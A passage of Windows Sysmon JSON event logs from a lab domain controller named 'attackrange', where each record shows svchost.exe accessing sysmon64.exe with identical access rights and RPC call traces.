AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.072\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.072","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8395,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.072\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.072","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8396,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.072\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.072","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8397,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.072\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.072","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8398,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.072\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.072","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8399,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.072\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.072","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8400,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.072\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.072","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8401,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.072\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.072","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8402,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.072\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 